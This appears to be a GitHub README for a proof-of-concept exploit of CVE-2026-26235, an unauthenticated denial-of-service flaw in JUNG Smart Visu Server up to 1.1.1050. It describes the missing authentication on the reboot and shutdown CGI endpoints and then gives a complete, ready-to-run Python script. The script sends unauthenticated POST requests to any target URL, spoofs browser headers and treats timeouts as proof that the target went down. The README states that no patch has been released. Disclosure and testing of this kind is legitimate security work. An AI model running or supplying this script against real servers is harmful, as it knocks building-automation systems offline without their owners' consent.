mbanyamer/cve-2026-26235-jung-smart-visu-server-unauthenticated-reboot-shutdownProof-of-concept exploit for CVE-2026-26235, an unauthenticated denial-of-service vulnerability in JUNG Smart Visu Server <=1.1.1050, allowing remote reboot or shutdown via exposed CGI endpoints.
Mohammed Idrees Banyamer
Proof-of-Concept exploit for CVE-2026-26235 - Unauthenticated Denial of Service via missing authentication in JUNG Smart Visu Server ≤ 1.1.1050.
CVE-2026-26235 is an unauthenticated denial of service vulnerability in JUNG Smart Visu Server versions ≤ 1.1.1050. The product fails to implement authentication for critical system management functions, allowing remote attackers to reboot or shut down the server with a single POST request.
The endpoints /cgi-bin/reboot.sh and /cgi-bin/shutdown.sh are exposed without any authentication checks. No session tokens, API keys, or credentials are required to trigger these system-level commands.
This allows:
| Status | Version |
|---|---|
| ❌ Vulnerable | JUNG Smart Visu Server ≤ 1.1.1050 |
| ✅ Patched | Not yet released |
Tested on: JUNG Smart Visu Server 1.1.1050, Embedded Linux
| Vector | Description |
|---|---|
| CVSS v4 | 8.7 (High) - CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N |
| Authentication | None - Completely unauthenticated |
| Attack Vector | Network |
| Complexity | Low |
| Impact | High Availability Impact |
/cgi-bin/reboot.sh and /cgi-bin/shutdown.sh are publicly accessibleAttacker → POST /cgi-bin/reboot.sh → No Authentication Check → System Reboot → DoS
Attacker → POST /cgi-bin/shutdown.sh → No Authentication Check → System Shutdown → DoS
#!/usr/bin/env python3
# Exploit Title: JUNG Smart Visu Server - Unauthenticated Remote Reboot/Shutdown
# CVE: CVE-2026-26235
# Date: 2026-02-12
# Exploit Author: Mohammed Idrees Banyamer
# Author Country: Jordan
# Instagram: @banyamer_security
# Author GitHub: https://github.com/banyamer-security
# Vendor Homepage: https://www.jung.de
# Software Link: https://www.jung.de/smart-visu-server
# Vulnerable: JUNG Smart Visu Server <= 1.1.1050
# Tested on: JUNG Smart Visu Server 1.1.1050
# Category: Web Application
# Platform: Embedded/Linux
# Exploit Type: Missing Authentication (CWE-306)
import requests
import sys
import argparse
from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
def print_banner():
print("\n" + "="*60)
print(" JUNG Smart Visu Server - Unauthenticated Reboot/Shutdown PoC")
print(" CVE-2026-26235 | CWE-306")
print("="*60 + "\n")
def exploit(target, action="reboot", verify_ssl=False, timeout=10):
endpoints = {
"reboot": "/cgi-bin/reboot.sh",
"shutdown": "/cgi-bin/shutdown.sh"
}
if action not in endpoints:
print(f"[-] Invalid action: {action}. Choose 'reboot' or 'shutdown'.")
return False
url = f"{target.rstrip('/')}{endpoints[action]}"
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:135.0) Gecko/20100101 Firefox/135.0",
"Content-Type": "application/x-www-form-urlencoded",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate, br",
"Connection": "keep-alive",
"Upgrade-Insecure-Requests": "1",
"Sec-Fetch-Dest": "document",
"Sec-Fetch-Mode": "navigate",
"Sec-Fetch-Site": "same-origin",
"Sec-Fetch-User": "?1",
"Cache-Control": "max-age=0",
"Origin": target.rstrip('/'),
"Referer": f"{target.rstrip('/')}/",
"DNT": "1",
"Sec-GPC": "1"
}
print(f"[*] Target : {url}")
print(f"[*] Action : {action.upper()}")
print(f"[*] SSL Verify : {verify_ssl}")
print("[*] Sending unauthenticated POST request...\n")
try:
response = requests.post(
url,
headers=headers,
data="",
verify=verify_ssl,
timeout=timeout,
allow_redirects=False
)
print(f"[+] Request sent successfully!")
print(f"[+] HTTP Status : {response.status_code}")
if response.status_code == 200:
print("[!] Server responded with 200 OK - action likely executed")
elif response.status_code == 302 or response.status_code == 301:
print("[!] Server responded with redirect - action may have been triggered")
else:
print(f"[?] Unexpected response code: {response.status_code}")
if response.text:
print(f"[*] Response preview: {response.text[:200].strip()}")
print("\n[!] If successful, the target server should now be restarting or shutting down.")
return True
except requests.exceptions.Timeout:
print("[-] Connection timeout. The server may be down or unreachable.")
print("[*] This could indicate successful DoS if the server was previously reachable.")
return True
except requests.exceptions.ConnectionError as e:
print(f"[-] Connection error: {e}")
print("[*] The server may have gone down - possibly successful exploitation.")
return True
except Exception as e:
print(f"[-] An error occurred: {e}")
return False
def main():
print_banner()
parser = argparse.ArgumentParser(
description="PoC for CVE-2026-26235 - JUNG Smart Visu Server Unauthenticated Reboot/Shutdown"
)
parser.add_argument(
"target",
help="Target server URL (e.g., https://192.168.1.100:8080)"
)
parser.add_argument(
"-a", "--action",
choices=["reboot", "shutdown"],
default="reboot",
help="Action to perform: reboot or shutdown (default: reboot)"
)
parser.add_argument(
"-k", "--insecure",
action="store_false",
dest="verify_ssl",
default=False,
help="Disable SSL certificate verification (default: disabled)"
)
parser.add_argument(
"-t", "--timeout",
type=int,
default=10,
help="Request timeout in seconds (default: 10)"
)
args = parser.parse_args()
print(f"[*] Starting exploit against: {args.target}\n")
success = exploit(
target=args.target,
action=args.action,
verify_ssl=args.verify_ssl,
timeout=args.timeout
)
if success:
print("\n[+] Exploit completed successfully.")
else:
print("\n[-] Exploit failed.")
sys.exit(1)
if __name__ == "__main__":
main()